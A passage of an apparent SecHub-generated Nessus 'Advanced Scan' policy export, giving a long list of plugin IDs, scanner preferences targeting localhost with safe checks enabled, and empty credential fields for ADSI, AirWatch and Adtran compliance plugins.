43439;55650;58505;79073;47198;96094;54818;33091;92557;17655;18216;50539;76301;51458;31411;70573;90124;46600;42087;72034;23943;73299;64890;100052;29867;99584;73472;50755;14603;19689;21152;200063;52158;27361;29349;106183;10632;100643;41862;41645;54089;50466;60898;36838;96266;68044;45616;82086;83851;75273;104127;40711;19101;51240;28830;24259;43143;20348;32266;200091;13592;88048;81555;103672;48720;72579;60876;82672;22802;106978;27428;69116;99455;21207;34776;99768;64428;40475;49652;53443;63530;82002;13626;72143;79820;59185;95472;22429;65951;95329;74677;82358;101623;91265;90798;48537;23024;50548;58409;57353;101081;64159;24985;31482;86396;15824;60722;89063;59939;29039;100092;50453;49407;34001;32911;23448;66480;75556;26346;91834;35679;16240;79792;97150;83450;45888;103559;19436;105557;53992;44425;66742;53310;51998;18307;17139;81027;47581;65185;81303;33899;59293;37382;85343;74770;48266;84820;57479;39398;58753;16222;68146;28186;42870;20833;20051;41903;29528;62058;72106;55630;80967;47146;27806;19803;31269;92857;66595;53507;33045;47579;10454;11091;10170;65376;93080;103832;58194;24107;52359;53823;61208;92301;29340;88727;39043;84357;68691;18801;103248;75199;36637;14489;45908;84115;74423;88165;52601;52463;38785;65630;54565;69160;36238;46612;40844;11514;15878;78957;89193;91463;32273;38890;62461;60229;79593;90891;75414;56223;91061;101090;70597;18107;87872;88619;90105;74069;42712;44335;80847;55659;34712;45422;16181;10476;12460;79612;69549;89932;96385;24628;71941;18626;37178;33916;97932;13962;100562;31981;63017;85359;50319;74625;56802;91907;28289;13576;16620;19977;37929;72621;81213;66303;95484;58227;56589;19345;55473;29245;88970;13776;17757;61765;100134;48895;92456;75466;40420;55678;56136;28705;77523;106279;21974;94105;58558;97515;86025;99310;26507;21947;52635;20436;70750;69764;24003;55262;43417;63970;87443;70296;80788;23663;65834;46402;29484;74391;58231;11083;79640;34485;65047;67392;36411;15297;32747;96305;24486;69443;59292;44305;36734;49737;35996;95312;44128;41853;60551;58651;92225;29048;106153;13778;30728;84633;81893;38614;54050;72385;38171;92096;36171;19918;87659;44839;84441;43479;106041;47883;62940;47495;18067;12385;56072;60064;23590;12675;73991;102098;93015;60433;96132;49036;104676;22390;23048;60073;63487;11069;91873;56088;92145;61414;39873;18677;64458;14955;63962;52707;71260;71194;35323;34270;97101;11558;85597;53283;35592;19808;13462;89331;12312;20632;14222;48325;46983;36666;63213;62862;35866;86759;27399;13376;16738;97571;57530;13000;79434;96486;16784;100011;65038;27211;19369;27148;76676;75988;51917;64475;78869;79615;93659;31953;33404;46616;72576;35771;20926;48671;105173;16006;34863;14755;19671;73668;54979;48991;97433;27002;34158;89009;35531;63945;52521;54503;70066;42123;95486;28609;57687;23896;71058;97589;29854;32431;49543;45647;41443;75004;44519;99597;56599;19077;32647;14729;30057;77837;96210;18324;21045;20165;29183;60247;19821;47455;20899;62411;68034;26746;13519;106596;91398;34740;24149;84474;26600;53906;63342;43172;76051;12980;17173;11468;51807;88088;92919;41349;91070;54069;78538;29366;81022;90299;11785;106434;41547;65638;86267;53138;23216;12075;23619;75067;18870;42403;99580;24735;26801;95518;44444;66112;24248;52384;62714;81112;27308;80599;47710;24775;45646;16334;52867;93261;43388;36946;30223;46774;84032;57399;11634;74041;16998;41058;92162;99291;29055;71303;27607;12481;55525;42503;55907;45425;103004;41321;102972;40628;38232;42326;17717;56389;39346;102639;14940;103165;103895;91433;23503;13211;11649;82753;15529;74258;96339;79120;47819;84010;69022;58319;94764;88018;15280;78675;36896;95490;28069;86307;44514;96403;52753;103519;35845;74365;86974;27530;65912;91525;93224;37400;101692;21920;42115;34926;88679;92636;91320;79852;52531;97184;93916;75928;35822;68820;61933;74165;106439;62390;69336;15517;105124;85300;89006;48184;64596;63542;30398;79282;42053;11119;55445;30031;46222;40173;99671;60744;100036;74896;200049;52673;106170;47073;72873;84187;15811;33307;65288;10086;97274;36765;96610;200031;19758;12028;10112;104158;39864;48850;93064;23640;52102;41784;89478;61957;90211;61051;47877;36675;25180;46142;41143;44110;66099;52362;62512;54894;61345;16254;91176;63056;50956;100577;55028;106701;102808;59695;40129;33481;22009;56098;30656;95468;30240;48605;75859;29321;55585;25134;59602;32399;30824;29616;90564;30232;33046;72510;38369;13621;91401;48172;62131;64789;26051;87751;67652;35100;91651;79002;66084;90371;41984;63872;33149;73146;63435;61608;13089;59029;37933;16188;16630;62505;56095;53604;90864;89680;19938;57692;46086;77229;49949;104084;89989;83451;47250;41798;71490;77895;61583;36661;50145;20775;62664;55225;42603;22364;41059;104952;41292;105407;17250;27485;18609;22073;60005;20536;75559;40208;84888;25378;66474;53479;99806;80025;57211;59023;53962;77450;22707;54399;40698;77996;104898;75497;27234;90651;65215;30219;36377;63494;22821;92609;82327;80837;49544;32698;28362;39334;106406;63200;47101;41864;38377;75153;62712;24933;89203;81327;37622;20605;41297;97425;12902;51442;79163;46904;58463;65366;27218;22954;17395;56731;91296;59559;36699;36304;74445;52537;97518;22219;73125;93933;101212;26758;95805;79554;29300;59359;78630;37973;48405;94603;92849;65557;54794;48581;69456;43912;23162;82382;15737;36428;28282;85845;16404;68967;50491;74152;75424;106622;51234;42595;31761;64755;85679;60187;99384;54249;27870;19579;21360;31956;48776;39636;28682;61110;93810;21247;73536;49224;62967;13866;11903;51004;62814;79319;63813;31436;42014;11830;35731;55337;30353;48752;17249;27883;83189;88632;12616;65828;92525;29193;43749;65878;106001;90451;17829;39428;96367;90644;76713;92395;38278;64292;74651;96954;60768;76236;15905;69436;39861;53929;18050;17087;46141;65169;58498;42919;13005;72180;104712;102064;46650;89103;23520;68064;80049;39609;84128;83657;81121;85550;33998;72399;31535;29030;42248;41039;10171;74059;105066;71146;33713;20181;90349;86167;48848;10727;85059;82830;101950;93360;34003;99839;94093;25579;37051;57476;54538;10987;57264;40632;38724;41725;79647;58960;76810;67245;63446;95464;68334;25755;104103;39469;29746;85561;15317;30535;106071;59347;30878;51761;13551;39809;65738;17554;96086;51034;106929;56610;38364;95932;76788;73564;40283;97215;13359;67610;54415;102142;58962;15075;35008;58937;40822;63401;78652;97770;60959;62919;27081;80438;18105;40906;13829;37046;33658;41506;76783;36494;96754;85140;46388;85733;25667;22819;70902;54690;18264;11144;50958;72262;27851;105356;19164;19290;54411;11006;87065;94717;34299;102768;82376;88656;99237;84289;94206;29759;46213;29226;50830;87826;36072;14327;15155;11322;68693;65643;106489;15813;53548;84004;84047;18906;106342;19547;101589;40027;76516;29884;94350;20398;63576;45918;87206;52982;49162;73672;24371;78202;53432;95745;76306;57076;96083;89920;58136;99527;32245;18018;104092;101247;25693;35631;93422;96203;11703;37740;41507;106967;77388;69333;27660;53939;45459;54956;73910;78500;86899;20202;63653;33357;32547;88000;15623;58361;101457;26597;55577;46447;64092;57196;59979;79516;49555;86458;73198;95327;68780;16402;62352;33368;45155;103324;45665;92437;81208;21565;80893;50442;94974;38426;70981;71160;38310;34898;69990;23340;68106;56711;80029;26888;103845;94977;89869;43573;72488;59456;60790;54949;60447;72138;89225;21372;20834;28518;14399;67621;14611;28791;25735;34919;75745;76655;24838;82920;53673;35009;103189;87753;103231;46346;35741;33702;25407;100532;70299;23565;78928;95618;56165;72016;92172;47676;39731;62539;40858;34175;81984;80499;53718;80216;16771;81368;76936;42614;13821;71893;70413;17233;80512;83727;52508;33020;35390;24275;43062;15696;38778;55778;40805;99917;65523;18716;20627;104235;70430;38749;54804;106586;64187;64694;88030;70770;86091;66582;66279;42169;86996;62810;13467;19731;15818;34444;48657;43144;22000;21804;55691;37744;36374;33133;69693;30354;68215;80201;100837;76107;69412;55767;22699;85887;16797;43925;77406;79674;74304;25235;56616;71985;49317;56556;66886;16327;15031;57434;17349;63263;83531;31685;45623;45476;91889;61686;69634;28018;90020;58901;92131;74383;47180;20408;78926;31623;65979;78923;92845;106791;41541;97845;44880;91700;93031;28420;31120;16378;56651;53203;39362;95023;64485;77309;103364;44297;59464;89643;89393;93436;56148;104369;55977;70823;74673;63526;40531;96770;23711;31317;78265;62107;62980;33463;11478;26519;76753;28272;32971;95889;93349;59357;63839;84924;16739;95890;85310;20054;94800;64555;29650;45509;65520;101534;10023;99776;23251;86085;48359;101357;42579;27478;97550;18681;27338;26662;90348;73693;81581;45271;11403;20251;91293;48413;63680;83569;79556;16132;20659;79739;48650;26952;18011;85285;54048;12370;23494;71143;104517;58934;73708;36196;37050;104732;17692;87971;45875;83723;71317;36401;69208;17735;88857;32738;61204;29726;104437;63461;60321;92885;103363;37745;81045;51954;43937;104320;77708;103900;21262;45077;59637;56324;93204;85157;58675;78561;86693;81353;93867;24902;79284;51583;66161;30702;101046;93229;24987;80724;105232;73120;19903;55763;65751;56663;67147;51826;72409;12053;101960;70535;15164;72733;91628;15495;23702;23467;82263;84448;49547;37384;92058;76803;29833;89255;67921;22203;21374;100188;104901;74740;16651;33926;11278;77458;48287;19351;53267;105416;58120;65136;12785;40970;61921;103981;64254;35593;67507;70036;11658;34851;73416;58262;83800;38811;59583;28477;105236;19165;86192;65997;88431;74310;32056;25065;101468;50189;35897;54868;20062;71904;47266;106482;101605;86827;78075;18839;43274;95699;45435;95930;40617;21154;45633;41377;102520;79594;19353;97104;39635;36974;23008;13688;67977;15146;24968;37375;11148;86884;18004;76996;88976;33270;36612;95848;84113;17481;41802;70657;79479;82325;43923;107016;106782;37466;73675;11015;35296;64410;42158;11042;44287;21055;104429;80815;73814;32728;47795;90441;86653;43311;59077;34319;57337;78548;90190;70313;61030;52750;24477;63124;81126;43482;71132;23783;80380;106327;25451;95778;37075;77259;51881;80303;19597;101074;68205;85727;102839;90667;37483;84841;59741;56097;97757;76392;43486;28895;27208;101503;54731;13220;67872;21201;44601;89413;79293;36440;31492;75592;59315;53454;28154;103948;81602;37532;105989;84302;96781;52303;13308;20291;105257;93898;32792;38646;81795;13568;47753;86217;99800;20003;26601;22884;66593;33763;55515;52141;73641;76233;36113;104031;71107;89179;41821;101230;60326;26122;71586;101612;41933;38909;21539;49503;103327;40299;69782;53396;79149;96092;84611;67491;39395;39500;88569;45047;75205;35110;87229;65567;48346;91162;27735;106911;18040;50144;19241;68807;56510;28784;62194;99550;90842;70104;18420;77491;27323;74122;104229;89644;47437;67073;30636;63153;80784;92047;18312;46680;85133;40753;43207;100748;35457;102728;83722;90429;87299;67804;77003;58527;28229;34630;64521;66436;19631;36614;37918;11495;63021;74803;93770;12284;79237;95360;104519;105829;32779;16377;64484;58929;29259;103456;23084;46334;26336;71309;68304;106150;96159;53492;46858;80075;60235;42830;36757;73467;65864;10848;24589;43142;39213;106604;31123;59235;18666;69974;34723;15036;29367;75359;19406;57978;16626;101599;53832;42093;83847;55869;43698;51045;12841;67692;72904;106856;46399;96395;75481;105201;86023;43474;37335;51130;20350;61374;82509;42641;94043;42134;102473;69774;80799;95450;56391;106082;70956;63488;62418;14832;19336;25661;51267;45485;106066;69409;41612;46107;18098;100267;27245;53162;81592;46091;29404;105091;80543;74973;24842;29647;87953;35561;44962;57863;86061;78435;86987;44126;32998;41119;35814;77146;52369;200006;72041;60473;50476;70995;97672;48642;35360;62643;43414;46254;30103;87722;51448;21934;80783;35977;101875;54492;41406;54846;24622;82819;11301;87980;27713;53427;25809;61187;86610;11481;30941;57024;55859;80910;101836;31295;59782;50268;71456;92181;45708;106625;10806;18678;10135;65373;20533;71168;82875;43562;30614;31721;32768;30037;61172;21493;25864;54158;38435;49634;12512;67845;57668;69575;37656;81909;69695;24994;101716;34371;75582;96831;34496;97686;77419;23564;55347;88407;82383;32590;73399;45132;29009;28726;21100;13771;46577;35164;14900;53536;86171;25167;21401;94856;83564;46326;27600;102342;43653;35541;72280;58375;36022;92639;11798;76930;89364;43322;28722;78198;33596;86843;78246;10977;24531;30293;91159;90106;70839;27704;41404;67137;66687;86793;57061;19404;82297;21436;45323;27832;68620;200128;54981;39143;29515;101760;40170;64826;53405;66068;14375;83147;46642;13305;57330;31217;104808;19248;55561;44993;62869;48673;38496;30800;73888;72480;107070;53315;70523;65479;57246;21709;31333;89870;63383;55348;27994;47712;26865;82630;40372;40649;105412;97243;65949;57496;57208;88892;65596;103131;102853;60302;37415;61382;52941;65270;43600;16669;17299;44845;46534;44144;70594;55098;94052;32194;82185;52083;67289;30030;85033;88665;71660;86547;25207;32437;41663;61191;70456;12449;36081;106239;58526;17977;89282;74666;73002;35929;22290;93368;71833;99452;39649;81919;86688;52569;29322;102510;85894;28463;76907;36723;62014;39176;101670;37993;18866;73565;19698;86868;81772;10264;90544;72773;61288;68619;62875;31710;35836;18288;49745;72008;97412;96891;71779;62549;15145;30513;49880;20740;103741;31521;81087;11288;90790;52704;53251;103112;77984;44428;95663;55753;90308;70398;72046;63241;22052;27733;52422;86297;30574;33017;66664;77076;68180;78879;78058;75899;20734;37765;79023;16045;30484;88391;52480;67402;54637;42447;45267;78234;43075;97356;28865;83049;97767;92488;25675;79451;70645;27140;32338;50743;74264;83520;23659;105193;21226;46993;73804;65827;54259;105998;62330;79155;38245;101855;31112;37167;96068;106039;103716;75878;57680;40244;83959;26379;35912;92736;59495;27193;92719;10453;81992;27142;102150;74765;23706;81322;20540;58258;72144;67259;84336;77976;101168;96893;92104;85439;95550;72564;37471;105940;65375;33212;67643;36999;84021;15484;68779;84740;44603;39425;11760;82754;96358;68595;46690;47295;20586;20032;12942;38787;70871;16004;72783;31825;80467;57670;92457;63695;60092;12302;101472;89394;59310;74328;71878;38895;106730;44885;77332;28358;41687;57295;18345;70674;95710;18154;88412;61805;86039;59295;81731;24724;32722;47765;39777;71480;22641;67063;24784;79780;12443;18341;48975;77822;38984;20770;81038;103799;15715;36638;57849;69050;105653;94293;74026;73940;22368;26533;64767;104222;11567;43765;48729;61097;40522;90639;28758;65870;105960;70376;14924;102272;59822;78422;63586;38630;43935;18031;21431;18836;92876;51752;32983;77774;83490;22307;70261;76383;39576;66212;42890;42628;18440;17676;89781;81057;100891;54371;30239;94544;22040;88974;102437;43193;97038;65901;88915;29159;49007;22383;87095;26935;20883;75661;13093;59849;58725;103461;80421;53082;92733;41245;67122;78728;77099;13482;71826;27594;30043;23300;70072;33128;85792;43781;38417;93310;80666;86597;74981;65731;24137;45444;17823;14020;68139;101675;70819;58080;102216;103666;87696;31316;103683;75959;105572;69596;104484;50801;27448;74389;104094;92406;63559;102108;107004;40779;72092;92472;70980;38169;42284;70379;23052;84892;77550;105385;90226;35315;99159;70683;83159;57335;105900;50103;29816;72872;105150;49063;74907;20423;86060;79913;40019;67295;38353;73855;85015;101206;93179;97814;106168;45154;83933;56547;81443;41758;10670;62744;105880;32766;45080;97696;96554;77903;46315;12818;89398;43434;67561;83072;76777;75981;42394;40125;46297;52479;95346;102180;63217;93891;31992;93945;82539;44720;62523;26993;59704;38980;80016;104483;47067;19682;63555;41550;40015;101225;69965;90029;55386;79436;30220;94279;20151;66176;40186;87252;18239;17995;105080;69799;100854;82390;106164;51609;89052;67077;39054;56634;44639;37986;32978;29154;66871;51595;11442;44847;99735;97292;41848;100831;55487;61594;104439;14800;61391;97718;52827;101886;30068;20306;31996;84527;37503;61652;30837;56614;99103;26229;37393;71539;31271;78934;14118;106877;44432;99524;26069;23761;49106;26033;45163;50513;84716;71613;47347;77511;52103;30303;77909;89648;56271;70102;56262;52184;39554;16216;23660;42016;92467;81955;102816;10591;27716;10048;82848;27575;92943;25376;39688;77711;95807;38743;44194;39734;100700;66304;103986;31684;81401;53475;59211;12611;46465;11596;37630;100176;92790;47744;78530;104686;99786;93161;34354;25777;42672;86168;53679;55908;35804;27290;100354;106543;20567;71745;21116;47419;36444;32293;47329;13594;13094;44116;57361;80876;49378;56562;79035;46303;67827;69139;65853;54902;53309;22829;74675;86618;38485;85301;15569;95594;78144;83144;26073;38375;87284;200072;92892;39215;55017;52297;68360;80180;35852;104803;95871;57745;46138;31679;71455;64954;53088;104124;25037;13536;14744;52325;56605;39887;24219;16667;42798;59484;80117;61332;61808;42674;58445;79290;79287;14508;46012;23136;99351;77576;100931;200106;92158;32949;106353;104905;44088;68352;57258;96827;71594;85049;76712;39744;72454;56350;91461;52864;54282;48261;20205;18470;68401;11891;26228;85048;72007;80811;73959;53254;68525;44715;99573;39403;13216;42599;65166;86568;29557;48721;41901;58923;17027;92574;80288;63974;39939;25137;96905;14084;20108;79548;14135;90697;106096;78444;71600;60825;55208;55923;22538;85717;19695;92901;31398;23102;84546;15485;33959;70428;66521;87733;78777;62003;69555;16527;71560;87866;17723;91974;102312;75845;76806;56625;58622;73414;59478;95295;99468;60706;200021;39354;56797;67698;102007;22746;47580;41150;75061;48291;77703;40952;66302;57822;65823;40534;106173;38383;64274;22779;99708;87756;10266;25586;79547;75135;33492;34567;63554;200079;102455;72786;43589;41360;42048;69266;86513;42232;23546;22214;48355;11686;69500;78164;12492;33021;90272;13007;77757;22101;62060;15276;50337;75712;68187;53181;103087;42361;37522;26550;23744;73293;17281;92907;80651;50812;14592;15367;33721;77852;48352;39375;58303;30997;89224;76165;69579;83367;55442;27108;26705;85822;42571;11245;14560;58068;74686;94261;96347;79716;23295;60883;48623;91121;100536;96607;20214;81847;44778;65243;68939;66604;60510;16458;73042;13705;106491;13312;34058;62320;90353;62215;21659;95698;47861;70678;20404;72079;88144;22602;75451;29206;82378;61579;22580;43691;23093;80439;14668;200023;48220;26344;72901;67569;20467;17111;43559;30524;55604;92414;37124;24097;36474;96414;78371;89740;105714;37257;68197;67959;22482;33502;47020;23148;94204;55901;93631;106405;78165;43477;68481;11474;50392;70885;69031;56004;24380;81305;40111;49584;100099;103784;53018;89654;57409;77581;52824;56912;96435;23131;60094;104665;79979;37133;38214;70304;23127;65173;83824;64944;75210;33828;90337;53225;34666;36571;94506;63905;46648;26936;14902;45658;58195;92205;29334;89756;40686;74748;56706;50643;39370;16266;65422;76607;43832;20910;50038;94482;106853;91222;93304;62331;66669;46229;79509;14052;94616;63031;21834;34635;70580;49940;103539;52780;62090;73489;26014;20445;101908;69953;59530;94852;70426;16809;19050;41052;57311;14915;73577;58668;14987;38018;92651;71731;12907;86751;44500;87919;85257;83475;34414;84352;49633;59991;89829;61296;66545;74934;21668;67088;21811;46872;37543;52363;26444;95358;21568;78972;78493;105468;46002;104325;28436;22830;65548;35221;83323;61737;63724;60899;76751;96559;39008;61616;27325;40884;31850;66234;63651;60755;90711;30100;23502;75380;22423;39716;10763;28926;69122;24580;66837;41255;94727;40519;62453;94189;78984;69985;104386;48490;50021;26768;101017;21168;66260;21214;43895;69032;22167;16394;79251;60578;62480;60017;26909;58351;49423;23539;89909;27715;99617;26700;58849;85540;79368;18779;101393;80633;32099;28123;100121;21298;79949;58942;53766;12939;31718;70452;22877;19332;34725;91838;49044;37822;85608;31275;103139;95693;104851;39868;50507;20287;46717;45185;60817;57748;74692;105752;106801;22858;79693;90365;37777;15690;21689;68350;24898;14626;41830;56397;27710;46841;61115;200102;81492;69536;37102;75446;65071;35742;64398;62083;54486;104173;64827;13995;57364;74930;10124;29351;95000;59644;72907;62088;47426;15329;59937;96595;54661;53220;72489;44666;44067;93845;25678;79577;52032;48649;73490;26800;46190;52595;77861;106882;104907;25148;86862;36870;67638;14775;36769;77446;99046;36189;44248;73400;83662;85953;28736;41116;37681;84401;20405;61243;63379;71136;80935;13170;89498;43520;67431;100718;89351;55599;75833;22296;38620;51593;50664;85695;34475;79042;106015;34672;48820;76080;18720;21537;68667;17553;90741;80451;33010;47884;38957;91578;12794;84462;58597;19696;29770;97749;101277;19818;46721;56379;49606;106640;32463;30192;92413;47793;55960;21936;12064;99429;15498;89154;82134;53424;30406;103514;87079;74663;38936;31099;24367;78372;82100;12849;74009;18826;15271;31471;66137;20852;83036;43536;75052;30009;75253;66180;15060;48544;30560;96090;72924;88682;90692;86131;20792;30040;46860;89465;71060;35987;96613;12511;69232;54466;32899;36674;14366;99682;36668;84559;43010;95387;45453;45939;106377;40130;95867;99763;105508;104394;34986;12903;33942;27483;28847;89918;29002;67562;58517;80757;94454;74898;89513;39245;46914;45144;21371;17161;61040;19287;76257;75492;55059;13692;72851;69631;104459;49081;28168;53105;40904;101713;54533;49192;78560;45957;13615;95588;91472;13058;29521;99732;71796;58755;55492;20998;30202;22105;43879;78031;88499;24440;63893;11675;50146;92318;16015;50758;56188;38718;69524;91781;14602;27049;62227;18819;38572;75864;22346;95874;83349;41646;42964;104262;56882;78282;90067;42923;105011;22789;29022;76697;104820;33489;28854;67483;50516;30979;63644;16547;26225;91235;50371;44414;89805;71771;78134;19685;58127;43933;35703;21967;29181;13489;68557;200065;105391;64235;73790;14609;91534;20327;55555;66956;104019;49257;71611;67616;66292;63237;81696;26739;94736;23247;106647;104722;89944;41873;65041;26143;27567;78556;100038;91177;10134;18706;97806;35753;48804;47060;85682;34109;13054;18084;89978;20814;21019;94768;45707;105649;85254;19971;15966;12607;18815;16694;13181;21221;66626;64399;105516;60730;31616;47357;33839;10911;51971;34613;71682;34197;82163;57140;90956;37661;59234;26374;25154;65404;14610;50209;100279;28679;102144;42209;27674;36314;21235;100955;11586;62274;100682;68348;58007;67055;74797;21072;68813;61894;71403;59511;41504;26791;74812;52544;44197;106883;78218;80440;104288;74321;24165;94141;50951;87491;94693;21279;29423;74349;65302;60576;92208;71418;29038;81502;34982;25391;70374;15783;106679;100784;95372;104575;84008;18032;43333;71278;24999;47370;104814;30262;14683;83090;48219;107083;61965;51389;58790;77158;85714;35190;76605;56078;56931;62495;85787;92186;27763;59182;77885;86906;90111;67800;17523;18623;54440;28780;40388;64161;63518;76261;103730;100453;51774;39841;63619;75869;29308;69786;69832;19091;39114;20519;95478;26588;83256;49133;21527;67048;50606;12741;24368;24760;45235;90532;68260;59117;94588;57617;17267;59113;34357;18304;37015;51331;54183;22711;61871;85954;79152;43230;27174;71634;46116;100154;54618;103569;33460;93495;99737;72577;20991;77323;66466;62581;49701;95852;100313;14922;54255;36941;19037;42878;10022;17392;101235;65465;65108;67790;15611;97987;101469;75945;93946;105959;35547;13454;30388;73613;94982;18584;78705;67202;79826;64673;101364;26881;26638;85425;54204;67503;62688;106095;96420;25640;31339;25749;48431;11363;85460;32954;99138;40932;40036;64505;87749;49627;28759;93125;86173;54864;18202;84218;79781;32093;12278;23872;12580;71592;70055;49979;58143;103596;41241;29338;11720;63911;11577;52454;74124;31978;64761;46644;99865;37632;100631;47231;44122;60938;67847;59111;74461;15382;48301;30042;62541;11906;51087;26749;34516;99198;82489;37720;70849;105692;53831;47898;21758;96371;50867;21879;55269;16298;71244;52473;57167;20366;39773;106300;42500;22084;33344;25409;18867;81983;45055;37340;50824;90263;76040;46211;37412;66903;69317;57769;52268;80017;86853;90126;64321;17237;99698;40978;78161;47704;106147;31775;106563;200103;11131;92492;20779;68253;58446;49506;85638;62538;65786;62925;94530;31193;11058;10435;85404;16617;94162;31451;101307;40024;96421;103584;45533;68978;10538;28294;53848;35766;61909;63571;25728;100321;65235;49774;65989;59251;83255;86197;28284;16550;70862;95011;73257;40116;91004;52305;18246;70563;76221;56128;93967;21206;85029;105345;79663;72704;51268;10637;83175;41496;19326;72487;104987;17352;15196;85895;18763;61381;104102;61262;21479;76420;63174;27079;90074;74621;49587;20855;97094;101572;87072;104700;34119;84606;25412;64943;76125;29123;78868;71694;81011;65764;58677;84745;72637;100749;100210;83674;18232;34096;35318;85603;60012;13230;84736;76527;100020;72047;47228;99169;27989;33572;64417;86814;29446;36016;63260;33387;57027;62318;32704;82847;83980;72030;65745;105749;41505;90476;23665;28625;70189;40260;77560;80369;18438;59964;11327;17434;12559;39388;102564;59653;21724;86161;72141;96979;97345;23397;51877;60663;56178;59733;80289;77785;101551;29621;24611;48567;25139;66060;105729;20320;94860;83881;22992;53223;25596;17500;97952;32888;34784;16420;25147;87331;22548;75098;26005;96916;78194;27431;40078;32157;19313;20138;63261;76504;23759;106322;63346;35502;12472;10953;83191;103890;62323;12737;18375;91424;96023;54676;51760;19707;106599;28300;45846;77718;76477;59678;69783;103303;49670;83169;97055;35536;74118;90496;88610;17506;31611;63321;101525;74196;36550;72253;54237;64002;97907;61402;97525;84192;48525;13432;56252;71126;89530;29483;21742;47324;20827;40144;104447;55951;80897;105324;63956;63214;90030;66457;38521;44934;35073;38612;64659;35361;95611;80590;58543;49720;78996;21376;42244;96713;28778;95839;93146;11931;52679;18325;94644;20233;67247;61341;92856;21349;48632;30770;60423;17714;19191;33537;104056;101504;62641;26840;89624;104772;101035;86954;66824;20056;102767;79497;81413;16271;27305;78960;66014;68729;91290;33145;48573;101316;83361;64765;92994;77185;50900;71164;76524;26630;59572;64996;45026;10735;84528;33236;67781;30446;104647;104727;92528;82833;96341;48611;49064;34421;19390;107028;64111;10959;59788;56633;53983;32309;53800;68711;74251;90197;14682;95700;106021;89001;33670;35374;75953;70744;48614;37816;16287;28849;79519;81558;106878;31564;79664;30269;107071;87675;67500;97118;20679;51728;83856;71799;24498;79926;75443;20112;69461;75998;88644;31628;63702;27990;40669;40151;101884;19900;44945;46170;23953;79838;53478;97135;49480;58603;90062;14045;14237;93817;49757;87734;44745;12753;95481;31713;45873;28412;25251;34925;18755;77162;76462;96710;70905;42030;69492;13865;38495;39223;20841;75606;101730;22866;52810;66583;56794;46484;27972;15651;66603;69652;41726;30238;104719;34466;44422;74943;104049;101601;29841;84640;82726;55279;30274;67226;90803;69374;103987;92326;63089;56314;75465;28935;86730;82950;46758;50742;56011;42271;65403; + +TARGET +http://localhost + +throttle_scan +yes + +listen_address +0.0.0.0 + +non_simult_ports +139, 445, 3389 + +slice_network_addresses +no + +ssl_mode +tls_1_2 + +max_checks +5 + +stop_scan_on_disconnect +yes + +report_crashes +yes + +xmlrpc_listen_port +8834 + +report_cleanup_threshold_days +30 + +name +Advanced Scan + +description +SecHub scan FALLBACK_TRACE_ID#526768485076813 + +whoami +sechub + +scan_description +SecHub scan FALLBACK_TRACE_ID#526768485076813 + +optimize_test +yes + +log_whole_attack +no + +ssl_cipher_list +strong + +cgi_path +/cgi-bin:/scripts + +auto_update_ui +no + +use_kernel_congestion_detection +yes + +auto_update +no + +listen_port +1241 + +checks_read_timeout +5 + +plugins_timeout +1800 + +auto_enable_dependencies +yes + +safe_checks +yes + +report_task_id +b2a6f1ee-7f52-1e41-7965-2d2eaf0c1e922b157c5b5e8b8799 + +allow_post_scan_editing +yes + +stop_scan_on_hang +no + +visibility +private + +wizard_uuid +ad629e16-03b6-8c1d-cef6-ef8c9dd3c658d24bd260ef5f9e66 + +max_hosts +100 + +plugin_upload +yes + +reduce_connections_on_congestion +yes + +feed_type +ProFeed + +silent_dependencies +yes + +port_range +default + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #1 : +Policy file #1 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #2 : +Policy file #2 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #3 : +Policy file #3 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #4 : +Policy file #4 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Policy file #5 : +Policy file #5 : +file + + + +Adtran AOS Compliance Checks +71991 +Adtran AOS Compliance Checks[file]:Offline config file (.txt or .zip) : +Offline config file (.txt or .zip) : +file + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller : +Domain Controller : +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain : +Domain : +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username : +Domain Username : +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password : +Domain Password : +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 2: +Domain Controller 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 2: +Domain 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 2: +Domain Username 2: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 2: +Domain Password 2: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 3: +Domain Controller 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 3: +Domain 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 3: +Domain Username 3: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 3: +Domain Password 3: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 4: +Domain Controller 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 4: +Domain 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 4: +Domain Username 4: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 4: +Domain Password 4: +password + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Controller 5: +Domain Controller 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain 5: +Domain 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[entry]:Domain Username 5: +Domain Username 5: +entry + + + +ADSI Settings +60024 +ADSI Settings[password]:Domain Password 5: +Domain Password 5: +password + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch Environment API URL : +AirWatch Environment API URL : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch port : +AirWatch port : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch username : +AirWatch username : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[password]:AirWatch password : +AirWatch password : +password + + + +AirWatch API Settings +76460 +AirWatch API Settings[entry]:AirWatch API key : +AirWatch API key : +entry + + + +AirWatch API Settings +76460 +AirWatch API Settings[checkbox]:SSL : +SSL : +checkbox +yes +yes + +AirWatch API Settings +76460 +AirWatch API Settings[checkbox]:Verify SSL certificate : 